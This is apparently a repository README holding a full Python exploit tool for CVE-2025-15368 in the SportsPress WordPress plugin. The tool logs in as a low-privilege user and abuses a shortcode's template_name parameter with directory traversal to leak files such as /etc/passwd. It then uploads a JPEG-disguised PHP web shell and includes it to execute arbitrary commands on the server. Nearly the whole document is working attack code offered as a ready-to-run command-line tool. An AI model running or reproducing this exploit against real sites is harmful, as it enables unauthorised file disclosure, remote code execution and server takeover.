README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2025-15368 Exploit Tool - SportsPress <= 2.7.26
Local File Inclusion (LFI) to Remote Code Execution (RCE)
Author: kazehere4you
Date: 2026-02-11
"""
import requests
import argparse
import re
import sys
import random
import string
import time
from urllib3.exceptions import InsecureRequestWarning
# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# Colors for terminal output
class Colors:
HEADER = '\033[95m'
BLUE = '\033[94m'
GREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
@staticmethod
def print_success(msg):
print(f"{Colors.GREEN}[+] {msg}{Colors.ENDC}")
@staticmethod
def print_error(msg):
print(f"{Colors.FAIL}[-] {msg}{Colors.ENDC}")
@staticmethod
def print_info(msg):
print(f"{Colors.BLUE}[*] {msg}{Colors.ENDC}")
@staticmethod
def print_warning(msg):
print(f"{Colors.WARNING}[!] {msg}{Colors.ENDC}")
def print_banner():
banner = f"""{Colors.BLUE}{Colors.BOLD}
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2025-15368 Exploit Tool ║
║ SportsPress Plugin <= 2.7.26 - LFI & RCE ║
║ ║
║ Coded by: kazehere4you ║
╚═══════════════════════════════════════════════════════════════╝
{Colors.ENDC}"""
print(banner)
class SportsPressExploit:
def __init__(self, url, username, password):
self.url = url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
})
def login(self):
Colors.print_info(f"Authenticating as user: {self.username}...")
login_url = f"{self.url}/wp-login.php"
try:
# Get initial cookies and nonce
r = self.session.get(login_url)
data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'redirect_to': f"{self.url}/wp-admin/",
'testcookie': '1'
}
r = self.session.post(login_url, data=data)
if 'wp-admin' in r.url or 'wordpress_logged_in' in r.cookies.keys() or any('wordpress_logged_in' in c.name for c in self.session.cookies):
Colors.print_success("Login successful!")
return True
Colors.print_error("Login failed. Check credentials.")
return False
except requests.exceptions.RequestException as e:
Colors.print_error(f"Connection error: {e}")
return False
def get_nonce(self, page='post-new.php'):
try:
r = self.session.get(f"{self.url}/wp-admin/{page}")
if 'wp-login.php' in r.url:
Colors.print_warning("Session expired or redirected to login.")
return None, None
# Try to find nonce
nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
if nonce_match:
return nonce_match.group(1), r
# Fallback for upload page (sometimes inside JSON)
nonce_match = re.search(r'"multipart_params":.*"nonces":{"create":"([a-f0-9]+)"', r.text)
if nonce_match:
return nonce_match.group(1), r
return None, r
except Exception as e:
Colors.print_error(f"Error fetching nonce: {e}")
return None, None
def trigger_lfi(self, file_path):
# We know [event_list] works from research
# Traversal logic: try varying depths
shortcode_name = 'event_list'
Colors.print_info(f"Attempting LFI for: {file_path}")
# Helper to create draft and preview
def try_path(path):
traversal = "../" * 4 # Default standard depth
# But specific depth might be needed. The calling function handles the paths.
shortcode = f'[{shortcode_name} template_name="{path}"]'
wp_nonce, r_page = self.get_nonce('post-new.php')
if not wp_nonce:
Colors.print_error("Could not retrieve nonce.")
return None
user_id = "1"
match = re.search(r'"user_id":(\d+)', r_page.text)
if match: user_id = match.group(1)
post_id = ""
match = re.search(r"post_ID' value='(\d+)'", r_page.text)
if match: post_id = match.group(1)
post_data = {
'post_title': f'Exploit Draft {random.randint(1000,9999)}',
'content': shortcode,
'post_status': 'draft',
'post_type': 'post',
'_wpnonce': wp_nonce,
'user_ID': user_id,
'action': 'editpost',
'post_ID': post_id
}
# Save draft
self.session.post(f"{self.url}/wp-admin/post.php", data=post_data)
# Preview path
preview_url = f"{self.url}/?p={post_id}&preview=true"
r = self.session.get(preview_url)
return r.text
# 1. Try passing the path directly (assuming caller provided traversal)
result = try_path(file_path)
return result
def chain_lfi(self, target_file="/etc/passwd"):
print(f"{Colors.HEADER}--- Starting LFI Attack Chain ---{Colors.ENDC}")
Colors.print_info(f"Target File: {target_file}")
Colors.print_warning("Note: wrapper 'php://filter' is blocked by file_exists() check.")
# Generate varied depths
depths = range(3, 8)
found = False
for d in depths:
path = ("../" * d) + target_file.lstrip('/')
Colors.print_info(f"Trying traversal depth {d}: {path}")
content = self.trigger_lfi(path)
if content:
# Check for common file signatures
if "root:x:0:0:" in content or "[mysqld]" in content or "<?php" in content:
Colors.print_success(f"File leaked successfully at depth {d}!")
# Clean output (Naive extraction)
# Often the content is embedded in the page.
# For /etc/passwd:
match = re.search(r'(root:x:0:0:.*)', content, re.DOTALL)
if match:
print("\n" + f"{Colors.GREEN}{match.group(0)[:500]}...{Colors.ENDC}" + "\n")
else:
# Just print a chunk if we can't parse neatly
print(f"\n{Colors.GREEN}[raw content snippet]{Colors.ENDC}")
print(content[:1000]) # First 1000 chars
found = True
break
if not found:
Colors.print_error("Failed to leak file. It might not exist or permissions denied.")
def chain_rce(self, check_cmd="id"):
print(f"{Colors.HEADER}--- Starting RCE Attack Chain ---{Colors.ENDC}")
Colors.print_info("Requirement: Authenticated user with 'upload_files' capability (Author+)")
# 1. Generate Payload
Colors.print_info("Generating malicious image payload...")
# A valid JPEG header followed by PHP payload
payload = b'\xFF\xD8\xFF\xE0' + b'<?php system($_GET["cmd"]);die(); ?>' + b'\xFF\xD9'
filename = f"image_{random.randint(1000,9999)}.jpg"
files = {
'async-upload': (filename, payload, 'image/jpeg')
}
# 2. Get Upload Nonce
# media-new.php usually contains the nonce we need
wp_nonce, _ = self.get_nonce('media-new.php')
if not wp_nonce:
# Fallback to upload.php
wp_nonce, _ = self.get_nonce('upload.php')
if not wp_nonce:
Colors.print_error("Failed to retrieve upload nonce. Check user permissions.")
return
upload_url = f"{self.url}/wp-admin/async-upload.php"
data = {
'name': filename,
'action': 'upload-attachment',
'_wpnonce': wp_nonce
}
# 3. Upload File
Colors.print_info("Uploading payload...")
r = self.session.post(upload_url, files=files, data=data)
file_url = None
if 'id' in r.text and 'success' in r.text:
try:
resp = r.json()
if resp.get('success'):
file_url = resp['data']['url']
Colors.print_success(f"Upload successful: {file_url}")
except:
pass
if not file_url:
Colors.print_error("Upload failed.")
Colors.print_info(f"Server response logic: {r.text[:200]}")
return
# 4. Extract Relative Path for LFI
# URL: http://site.com/wp-content/uploads/2025/02/file.jpg
# Path: wp-content/uploads/2025/02/file.jpg
try:
if 'wp-content' in file_url:
rel_path = 'wp-content' + file_url.split('wp-content')[1]
else:
Colors.print_error("Could not parse relative path from URL.")
return
except:
Colors.print_error("Path parsing error.")
return
Colors.print_info(f"Relative path for LFI: {rel_path}")
# 5. Trigger LFI to execute RCE
Colors.print_info(f"Triggering RCE with command: {check_cmd}")
# Traversal to reach root, then down to wp-content
# Usually ../../../ or ../../../../ depending on plugin structure.
# Plugin is in wp-content/plugins/sportspress/templates/
# So:
# ../ -> plugins/sportspress/
# ../../ -> plugins/
# ../../../ -> wp-content/
# ../../../../ -> root/
# We need to go to root, then append rel_path (which starts with wp-content)
# So ../../../../ + wp-content/...
traversal_path = "../../../../" + rel_path
# To pass arguments to the included file via LFI in this context is tricky.
# HOWEVER, since we are doing a GET request to the PREVIEW page,
# $_GET['cmd'] global variable WILL be available to the included file!
# Create Post Draft
shortcode_name = 'event_list'
shortcode = f'[{shortcode_name} template_name="{traversal_path}"]'
wp_nonce, r_page = self.get_nonce('post-new.php')
if not wp_nonce: return
match = re.search(r"post_ID' value='(\d+)'", r_page.text)
post_id = match.group(1) if match else ""
post_data = {
'post_title': 'RCE Exploit',
'content': shortcode,
'post_status': 'draft',
'post_type': 'post',
'_wpnonce': wp_nonce,
'user_ID': '1',
'action': 'editpost',
'post_ID': post_id
}
self.session.post(f"{self.url}/wp-admin/post.php", data=post_data)
# 6. Execute
exploit_url = f"{self.url}/?p={post_id}&preview=true&cmd={check_cmd}"
Colors.print_info(f"Sending payload request: {exploit_url}")
r = self.session.get(exploit_url)
# 7. Check output
# Look for command output (uid=33(www-data)...)
# or simplified check if we used die()
if r.status_code == 200:
# Try to grab content before the HTML mess if die() worked,
# otherwise regex for common output
content = r.text
# Simple heuristic for 'id' command or similar
if "uid=" in content or "gid=" in content or "Windows" in content:
Colors.print_success("RCE Confirmed!")
print(f"\n{Colors.GREEN}[+] Command Output:{Colors.ENDC}\n")
# Try to extract just the output (assuming it's at the start or distinct)
# Since we added die(), it should be at the very top of where the shortcode renders
# accessing standard output:
# But WordPress wrapper HTML might surround it.
# Let's clean it up slightly
clean_output = re.sub(r'<[^>]+>', '', content).strip()
# Just show first 5 lines
lines = clean_output.splitlines()
for line in lines[:10]:
if line.strip(): print(line)
else:
Colors.print_warning("Command executed but no obvious output found. Inspect response manually.")
# print(content[:500])
else:
Colors.print_error(f"Failed to trigger LFI. Status: {r.status_code}")
def main():
print_banner()
parser = argparse.ArgumentParser(description='SportsPress Exploit CLI')
parser.add_argument('-u', '--url', required=True, help='Target WordPress URL (e.g. http://localhost:8080)')
parser.add_argument('-user', '--username', required=True, help='WordPress Username (Contributor+)')
parser.add_argument('-p', '--password', required=True, help='WordPress Password')
parser.add_argument('--lfi', help='File to leak (default: /etc/passwd)', const='/etc/passwd', nargs='?')
parser.add_argument('--rce', help='Command to execute (default: id)', const='id', nargs='?')
args = parser.parse_args()
if not args.lfi and not args.rce:
Colors.print_error("Please select an attack mode: --lfi [file] or --rce [cmd]")
return
exploit = SportsPressExploit(args.url, args.username, args.password)
if exploit.login():
if args.lfi:
exploit.chain_lfi(args.lfi)
if args.rce:
exploit.chain_rce(args.rce)
if __name__ == "__main__":
main()